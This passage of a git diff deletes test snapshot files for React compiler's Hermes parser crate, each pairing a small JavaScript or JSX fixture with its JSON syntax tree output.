-              "range": [
-                100,
-                105
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              100,
-              106
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  109,
-                  115
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    116,
-                    117
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    119,
-                    120
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                109,
-                121
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              109,
-              122
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                132,
-                133
-              ]
-            },
-            "loc": null,
-            "range": [
-              125,
-              134
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          36,
-          136
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        21,
-        136
-      ],
-      "loc": null,
-      "range": [
-        21,
-        136
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    136
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-function-1.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-function-1.js.snap
deleted file mode 100644
index 4037ef6f198c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-function-1.js.snap
+++ /dev/null
@@ -1,194 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/simple-function-1.js
----
-Input:
-function component() {
-  let x = function (a) {
-    a.foo();
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        43,
-                        44
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                52,
-                                53
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "foo",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                54,
-                                57
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              52,
-                              57
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            52,
-                            59
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          52,
-                          60
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      46,
-                      64
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    33,
-                    64
-                  ],
-                  "loc": null,
-                  "range": [
-                    33,
-                    64
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  64
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              65
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                75,
-                76
-              ]
-            },
-            "loc": null,
-            "range": [
-              68,
-              77
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          79
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        79
-      ],
-      "loc": null,
-      "range": [
-        0,
-        79
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    79
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-scope.js.snap
deleted file mode 100644
index cdfd48faa0b6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple-scope.js.snap
+++ /dev/null
@@ -1,157 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/simple-scope.js
----
-Input:
-function foo(a) {
-  const x = [a.b];
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    26,
-                    27
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          31,
-                          32
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          33,
-                          34
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        31,
-                        34
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    30,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              36
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                46,
-                47
-              ]
-            },
-            "loc": null,
-            "range": [
-              39,
-              48
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          50
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        50
-      ],
-      "loc": null,
-      "range": [
-        0,
-        50
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    50
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple.js.snap
deleted file mode 100644
index 70198d19161b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@simple.js.snap
+++ /dev/null
@@ -1,213 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/simple.js
----
-Input:
-export default function foo(x, y) {
-  if (x) {
-    return foo(false, y);
-  }
-  return [y * 10];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ExportDefaultDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "foo",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            24,
-            27
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "x",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              28,
-              29
-            ]
-          },
-          {
-            "type": "Identifier",
-            "name": "y",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              31,
-              32
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "IfStatement",
-              "test": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  42,
-                  43
-                ]
-              },
-              "consequent": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "ReturnStatement",
-                    "argument": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          58,
-                          61
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "BooleanLiteral",
-                          "value": false,
-                          "loc": null,
-                          "range": [
-                            62,
-                            67
-                          ]
-                        },
-                        {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            69,
-                            70
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        58,
-                        71
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      51,
-                      72
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  45,
-                  76
-                ]
-              },
-              "alternate": null,
-              "loc": null,
-              "range": [
-                38,
-                76
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "ArrayExpression",
-                "elements": [
-                  {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        87,
-                        88
-                      ]
-                    },
-                    "operator": "*",
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 10.0,
-                      "loc": null,
-                      "range": [
-                        91,
-                        93
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      87,
-                      93
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  86,
-                  94
-                ]
-              },
-              "loc": null,
-              "range": [
-                79,
-                95
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            34,
-            97
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          15,
-          97
-        ],
-        "loc": null,
-        "range": [
-          15,
-          97
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sketchy-code-exhaustive-deps.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sketchy-code-exhaustive-deps.js.snap
deleted file mode 100644
index 0ff89ac8bc3e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sketchy-code-exhaustive-deps.js.snap
+++ /dev/null
@@ -1,321 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/sketchy-code-exhaustive-deps.js
----
-Input:
-function Component() {
-  const item = [];
-  const foo = useCallback(
-    () => {
-      item.push(1);
-    }, // eslint-disable-next-line react-hooks/exhaustive-deps
-    []
-  );
-
-  return <Button foo={foo} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useCallback",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      67
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "item",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    87,
-                                    91
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "push",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    92,
-                                    96
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  87,
-                                  96
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "NumericLiteral",
-                                  "value": 1.0,
-                                  "loc": null,
-                                  "range": [
-                                    97,
-                                    98
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                87,
-                                99
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              87,
-                              100
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          79,
-                          106
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        73,
-                        106
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        73,
-                        106
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        168,
-                        170
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    174
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  174
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              175
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Button",
-                  "loc": null,
-                  "range": [
-                    187,
-                    193
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "foo",
-                      "loc": null,
-                      "range": [
-                        194,
-                        197
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          199,
-                          202
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        198,
-                        203
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      194,
-                      203
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  186,
-                  206
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                186,
-                206
-              ]
-            },
-            "loc": null,
-            "range": [
-              179,
-              207
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          209
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        209
-      ],
-      "loc": null,
-      "range": [
-        0,
-        209
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    209
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sketchy-code-rules-of-hooks.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sketchy-code-rules-of-hooks.js.snap
deleted file mode 100644
index 62875fc5c4d2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@sketchy-code-rules-of-hooks.js.snap
+++ /dev/null
@@ -1,172 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/sketchy-code-rules-of-hooks.js
----
-Input:
-/* eslint-disable react-hooks/rules-of-hooks */
-function lowercasecomponent() {
-  const x = [];
-  return <div>{x}</div>;
-}
-/* eslint-enable react-hooks/rules-of-hooks */
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "lowercasecomponent",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          57,
-          75
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    92,
-                    94
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  88,
-                  94
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              82,
-              95
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    106,
-                    109
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  105,
-                  110
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      111,
-                      112
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    110,
-                    113
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    115,
-                    118
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  113,
-                  119
-                ]
-              },
-              "loc": null,
-              "range": [
-                105,
-                119
-              ]
-            },
-            "loc": null,
-            "range": [
-              98,
-              120
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          78,
-          122
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        48,
-        122
-      ],
-      "loc": null,
-      "range": [
-        48,
-        122
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    48,
-    122
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-arrayexpression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-arrayexpression.js.snap
deleted file mode 100644
index ded680548adc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-arrayexpression.js.snap
+++ /dev/null
@@ -1,226 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-arrayexpression.js
----
-Input:
-function Component(props) {
-  const a = 1;
-  const b = 2;
-  const x = [a, b];
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              42
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  51,
-                  56
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              45,
-              57
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    67
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        72
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        74,
-                        75
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    70,
-                    76
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  66,
-                  76
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              60,
-              77
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                87,
-                88
-              ]
-            },
-            "loc": null,
-            "range": [
-              80,
-              89
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          91
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        91
-      ],
-      "loc": null,
-      "range": [
-        0,
-        91
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    91
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-call-jsx-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-call-jsx-2.js.snap
deleted file mode 100644
index 3a0a26ce2f92..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-call-jsx-2.js.snap
+++ /dev/null
@@ -1,529 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-call-jsx-2.js
----
-Input:
-// @Pass runMutableRangeAnalysis
-function foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  foo(a, b);
-  if (foo()) {
-    let _ = <div a={a} />;
-  }
-  foo(a, b);
-  return <div a={a} b={b} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          42,
-          45
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          48,
-          50
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        33,
-        50
-      ],
-      "loc": null,
-      "range": [
-        33,
-        50
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          61,
-          70
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            71,
-            76
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    92,
-                    94
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  88,
-                  94
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              82,
-              95
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    104,
-                    105
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    108,
-                    110
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  104,
-                  110
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              98,
-              111
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  114,
-                  117
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    118,
-                    119
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    121,
-                    122
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                114,
-                123
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              114,
-              124
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  131,
-                  134
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                131,
-                136
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "_",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          148,
-                          149
-                        ]
-                      },
-                      "init": {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              153,
-                              156
-                            ]
-                          },
-                          "attributes": [
-                            {
-                              "type": "JSXAttribute",
-                              "name": {
-                                "type": "JSXIdentifier",
-                                "name": "a",
-                                "loc": null,
-                                "range": [
-                                  157,
-                                  158
-                                ]
-                              },
-                              "value": {
-                                "type": "JSXExpressionContainer",
-                                "expression": {
-                                  "type": "Identifier",
-                                  "name": "a",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    160,
-                                    161
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  159,
-                                  162
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                157,
-                                162
-                              ]
-                            }
-                          ],
-                          "selfClosing": true,
-                          "loc": null,
-                          "range": [
-                            152,
-                            165
-                          ]
-                        },
-                        "children": [],
-                        "closingElement": null,
-                        "loc": null,
-                        "range": [
-                          152,
-                          165
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        148,
-                        165
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    144,
-                    166
-                  ]
-                }
-              ],
